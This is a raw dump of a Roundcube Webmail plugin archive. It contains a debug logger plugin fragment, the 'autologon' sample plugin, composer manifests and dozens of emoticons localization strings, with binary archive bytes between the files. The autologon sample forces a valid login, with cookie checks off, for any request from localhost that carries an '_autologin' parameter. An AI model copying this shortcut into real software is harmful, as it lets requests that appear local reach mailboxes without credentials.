        require_once(__DIR__ . '/runlog/runlog.php');

        $this->runlog = new runlog();

        if (!rcmail::get_instance()->config->get('log_dir')) {
            rcmail::get_instance()->config->set('log_dir', INSTALL_PATH . 'logs');
        }

        $log_config = rcmail::get_instance()->config->get('debug_logger', []);
        $log_dir    = rcmail::get_instance()->config->get('log_dir');

        foreach ($log_config as $type => $file) {
            $this->runlog->set_file($log_dir . '/' . $file, $type);
        }

        $start_string = '';
        $action = rcmail::get_instance()->action;
        $task   = rcmail::get_instance()->task;

        if ($action) {
            $start_string .= "Action: {$action}. ";
        }

        if ($task) {
            $start_string .= "Task: {$task}. ";
        }

        $this->runlog->start($start_string);

        $this->add_hook('console', [$this, 'console']);
        $this->add_hook('authenticate', [$this, 'authenticate']);
    }

    function authenticate($args)
    {
        $this->runlog->note('Authenticating '.$args['user'].'@'.$args['host']);
        return $args;
    }

    function console($args)
    {
        $note = $args['args'][0];

        if (!empty($args['args'][1])) {
            $type = $args['args'][1];
        }
        else {
            // This could be extended to detect types based on the
            // file which called console. For now only rcube_imap/rcube_storage is supported
            $bt   = debug_backtrace();
            $file = count($bt) >= 2 ? $bt[2]['file'] : '';

            switch (basename($file)) {
                case 'rcube_imap.php':
                    $type = 'imap';
                    break;
                case 'rcube_storage.php':
                    $type = 'storage';
                    break;
                default:
                    $type = false;
                    break;
            }
        }

        switch ($note) {
            case 'end':
                $type = 'end';
                break;
        }

        switch ($type) {
            case 'start':
                $this->runlog->start($note);
                break;
            case 'end':
                $this->runlog->end();
                break;
            default:
                $this->runlog->note($note, $type);
                break;
        }

        return $args;
    }

    function __destruct()
    {
        if ($this->runlog) {
            $this->runlog->end();
        }
    }
}
PKh�\��ZE""plugins/autologon/autologon.phpnu�[���<?php

/**
 * Sample plugin to try out some hooks.
 * This performs an automatic login if accessed from localhost
 *
 * @license GNU GPLv3+
 * @author Thomas Bruederli
 */
class autologon extends rcube_plugin
{
    public $task = 'login';

    /**
     * Plugin initialization
     */
    public function init()
    {
        $this->add_hook('startup', [$this, 'startup']);
        $this->add_hook('authenticate', [$this, 'authenticate']);
    }

    /**
     * 'startup' hook handler
     *
     * @param array $args Hook arguments
     *
     * @return array Hook arguments
     */
    function startup($args)
    {
        // change action to login
        if (empty($_SESSION['user_id']) && !empty($_GET['_autologin']) && $this->is_localhost()) {
            $args['action'] = 'login';
        }

        return $args;
    }

    /**
     * 'authenticate' hook handler
     *
     * @param array $args Hook arguments
     *
     * @return array Hook arguments
     */
    function authenticate($args)
    {
        if (!empty($_GET['_autologin']) && $this->is_localhost()) {
            $args['user']        = 'me';
            $args['pass']        = '******';
            $args['host']        = 'localhost';
            $args['cookiecheck'] = false;
            $args['valid']       = true;
        }

        return $args;
    }

    /**
     * Checks if the request comes from localhost
     *
     * @return bool
     */
    private function is_localhost()
    {
        return $_SERVER['REMOTE_ADDR'] == '::1' || $_SERVER['REMOTE_ADDR'] == '127.0.0.1';
    }
}
PKh�\�0��::plugins/autologon/composer.jsonnu�[���{
    "name": "roundcube/autologon",
    "type": "roundcube-plugin",
    "description": "Sample plugin to try out some hooks",
    "license": "GPL-3.0-or-later",
    "version": "1.0",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\�߳*��plugins/emoticons/composer.jsonnu�[���{
    "name": "roundcube/emoticons",
    "type": "roundcube-plugin",
    "description": "Plugin that adds emoticons support.",
    "license": "GPL-3.0-or-later",
    "version": "3.0",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        },
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Developer"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\�����(plugins/emoticons/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = '显示纯文本消息的表情';
$labels['emoticonscompose'] = '启用表情';
PKh�\�����(plugins/emoticons/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Показвай емотикони в съобщения с обикновен текст';
$labels['emoticonscompose'] = 'Разреши емотикони';
PKh�\{�G��(plugins/emoticons/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels = [];
$labels['emoticonsdisplay'] = 'Display emoticons in plain text messages';
$labels['emoticonscompose'] = 'Enable emoticons';
PKh�\�OEG��(plugins/emoticons/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Näytä hymiöt "pelkkä teksti"-viesteissä';
$labels['emoticonscompose'] = 'Käytä hymiöitä';
PKh�\+�y��(plugins/emoticons/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Vis emojier i ren tekst meldinger';
$labels['emoticonscompose'] = 'Aktiver emoji';
PKh�\Y�y֣�(plugins/emoticons/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Shfaqi emotikonet në mesazhe tekst të thjeshtë';
$labels['emoticonscompose'] = 'Aktivizoni emotikonet';
PKh�\��(plugins/emoticons/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Näita lihttekst kirjas emotikone';
$labels['emoticonscompose'] = 'Luba emotikonid';
PKh�\�ȵ��(plugins/emoticons/localization/ku_IQ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'وێنۆچکەی هەستەکان لە دەقی نامەکاندا پیشانبدە';
$labels['emoticonscompose'] = 'وێنۆچکەی هەستەکان چالاک بکە';
PKh�\������(plugins/emoticons/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Erakutsi sentikurrak testu lauan dauden mezuetan';
$labels['emoticonscompose'] = 'Gaitu sentikurrak';
PKh�\A� V��(plugins/emoticons/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Düz metin iletilerinde duygu ifadeleri görüntülensin';
$labels['emoticonscompose'] = 'Duygu ifadeleri kullanılsın';
PKh�\D�
���(plugins/emoticons/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Mostrar emoticones en mensajes de texto plano';
$labels['emoticonscompose'] = 'Habilitar emoticones';
PKh�\6��0��(plugins/emoticons/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Exibir emoticons em mensagens de texto simples';
$labels['emoticonscompose'] = 'Habilitar emoticons';
PKh�\�i���(plugins/emoticons/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Parastā teksta ziņojumos rādīt emocijas';
$labels['emoticonscompose'] = 'Rādīt emocijas';
PKh�\�# ���(plugins/emoticons/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Zobrazovať emotikony v čisto textových správach';
$labels['emoticonscompose'] = 'Zapnúť emotikony';
PKh�\0Q�F��(plugins/emoticons/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Zobrazit smajlíky v textovém formátu';
$labels['emoticonscompose'] = 'Povolit smajlíky';
PKh�\���;��(plugins/emoticons/localization/nl_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Geef emoticons weer in tekst zonder opmaak';
$labels['emoticonscompose'] = 'Activeer emoticons';
PKh�\�&3��(plugins/emoticons/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Показувати смайлики у повідомленнях з простим текстом';
$labels['emoticonscompose'] = 'Увімкнути смайлики';
PKh�\P��l��(plugins/emoticons/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Lit emoticons yn gewoane tekst sjen';
$labels['emoticonscompose'] = 'Emoticons ynskeakelje';
PKh�\�N���(plugins/emoticons/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Emoticons in Klartext-Nachrichten anzeigen';
$labels['emoticonscompose'] = 'Emoticons aktivieren';
PKh�\�RE��%plugins/emoticons/localization/uz.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Matnli xabarlarda smayliklar tasvirlansinmi?';
$labels['emoticonscompose'] = 'Smayliklarni faollashtirish';
PKh�\1H4��(plugins/emoticons/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = '在純文字郵件顯示表情符號';
$labels['emoticonscompose'] = '啟用表情符號';
PKh�\O��(plugins/emoticons/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Mostra les emoticones en els missatge en text net';
$labels['emoticonscompose'] = 'Activa les emoticones';
PKh�\���%plugins/emoticons/localization/ia.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Monstrar emoticones in messages a texto simple';
$labels['emoticonscompose'] = 'Activar emoticones';
PKh�\
�m���(plugins/emoticons/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Показывать смайлики в чисто текстовых сообщениях';
$labels['emoticonscompose'] = 'Включить смайлики';
PKh�\�P��(plugins/emoticons/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Birta tjáningartákn í skilaboðum með hreinum texta';
$labels['emoticonscompose'] = 'Virkja tjáningartákn';
PKh�\
�p��(plugins/emoticons/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'عرض الرموز في رسائل نصية عادية';
$labels['emoticonscompose'] = 'تفعيل الرموز';
PKh�\����(plugins/emoticons/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Tampilkan emoticon dalam pesan teks polos';
$labels['emoticonscompose'] = 'Fungsikan emoticon';
PKh�\�y�5��(plugins/emoticons/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Hangulatjelek megjelenítése sima szöveges üzenetekben';
$labels['emoticonscompose'] = 'Hangulatjelek engedélyezése';
PKh�\JW���(plugins/emoticons/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Afișați emoticoane în mesaje text simplu';
$labels['emoticonscompose'] = 'Activați emoticoane';
PKh�\�a��(plugins/emoticons/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Afficher les frimousses dans les messages texte en clair';
$labels['emoticonscompose'] = 'Activer les frimousses';
PKh�\�@���(plugins/emoticons/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Prikaži emotikone u tekstualnim porukama';
$labels['emoticonscompose'] = 'Omogući emotikone';
PKh�\��O̟�(plugins/emoticons/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Wyświetlaj emotikony w wiadomościach tekstowych';
$labels['emoticonscompose'] = 'Włącz emotikony';
PKh�\{�?K��(plugins/emoticons/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'テキスト形式のメッセージで絵文字を表示します。';
$labels['emoticonscompose'] = '絵文字を有効';
PKh�\g�y��(plugins/emoticons/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Прикажи емотиконе у обичним текстуалним порукама';
$labels['emoticonscompose'] = 'Укључи емотиконе';
PKh�\�MD^��%plugins/emoticons/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Skrammañ fromlunioù er c\'hemennadennoù testenn blaen';
$labels['emoticonscompose'] = 'Gweredekaat ar fromlunioù';
PKh�\}�0��(plugins/emoticons/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Прикажување на емотикони во обични текст пораки ';
$labels['emoticonscompose'] = 'Овозможи прикажување на емотиконите';
PKh�\��G��(plugins/emoticons/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'הצגה של פרצופונים בהודעות של טקסט פשוט';
$labels['emoticonscompose'] = 'הפעל פרצופונים';
PKh�\2VC߯�(plugins/emoticons/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Taispeáin straoiseoga i dteachtaireachtaí le gnáth-théacs';
$labels['emoticonscompose'] = 'Cumasaigh straoiseoga';
PKh�\��m9��(plugins/emoticons/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Vis humørikoner i ren tekst beskeder';
$labels['emoticonscompose'] = 'Aktivér humørikoner';
PKh�\�e�N��(plugins/emoticons/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Prikaži čustvenčke v tekstovnem načinu';
$labels['emoticonscompose'] = 'Omogoči čustvenčke';
PKh�\���4��%plugins/emoticons/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
